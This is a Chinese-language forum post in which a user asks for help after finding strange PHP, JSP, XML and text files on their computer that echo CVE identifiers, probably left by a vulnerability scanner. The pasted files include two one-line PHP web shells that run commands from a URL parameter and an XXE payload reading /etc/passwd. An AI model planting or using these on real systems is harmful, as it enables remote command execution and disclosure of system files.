[求助] 有无安全大佬，电脑突然出现奇怪的文件，里面显示一些 CVE-XXX 的信息，不知道是黑客入侵还是被扫洞程序扫到了

以下是所有的文件里面的内容：主要是PHP JSP文件

里面大部分内容都是在echo，提示有CVE漏洞。

我看比较严重的代码主要是和cmd相关的。这个应该意思是可以调用系统的终端然后执行某些程序？应该是如果这些php文件没有被执行就无大碍吧？

PHP文件

<?php echo md5('CVE-2022-25487');?> <% out.println("CVE-2022-26352"); %> <?php echo md5('phpcollab_rce');?> POC_TEST <?php $cmd=$_GET['cmd']; system($cmd); ?> <?php echo exec($_GET["cmd"]); ?> <?php echo md5('CVE-2022-1952');?> <?php echo "File Upload success"; <?php echo 'CVE-2021-24236'; ?> 

JSP文件

<%@ page import="java.util.*,java.io.*"%> <%@ page import="java.security.MessageDigest"%> <% String cve = "CVE-2018-15961"; MessageDigest alg = MessageDigest.getInstance("MD5"); alg.reset(); alg.update(cve.getBytes()); byte[] digest = alg.digest(); StringBuffer hashedpasswd = new StringBuffer(); String hx; for (int i=0;i<digest.length;i++){ hx = Integer.toHexString(0xFF & digest[i]); if(hx.length() == 1){hx = "0" + hx;} hashedpasswd.append(hx); } out.println(hashedpasswd.toString()); %> 

<%@ page import="java.util.*,java.io.*"%> <%@ page import="java.security.MessageDigest"%> <% String cve = "CVE-2018-2894"; MessageDigest alg = MessageDigest.getInstance("MD5"); alg.reset(); alg.update(cve.getBytes()); byte[] digest = alg.digest(); StringBuffer hashedpasswd = new StringBuffer(); String hx; for (int i=0;i<digest.length;i++){ hx = Integer.toHexString(0xFF & digest[i]); //0x03 is equal to 0x3, but we need 0x03 for our md5sum if(hx.length() == 1){hx = "0" + hx;} hashedpasswd.append(hx); } out.println(hashedpasswd.toString()); %> 

接着第一条附言没贴完的代码（字数限制）

XML文件

<?xml version='1.0' encoding='UTF-8'?> <ChartData> <Categories> <Category>ALttP</Category> </Categories> <Series label="2PXwFeEsfjzIPlN8BfkLn1ATkhX"> <Point> <Value type="y">12345</Value> </Point> </Series> </ChartData> 

<?xml version='1.0' encoding='UTF-8'?> <!DOCTYPE Extension [<!ENTITY xxe SYSTEM "/etc/passwd">]> <SAPChartCustomizing version="1.1"> <Elements> <ChartElements> <Title> <Extension>&xxe;</Extension> </Title> </ChartElements> </Elemens> </SAPChartCustomizing> 

文本文件

MyPasswdNewData->/api/tomcat POC_TEST CVE-2020-12800-2PXwFlCcbD1a74LOgwnlRWVnJzD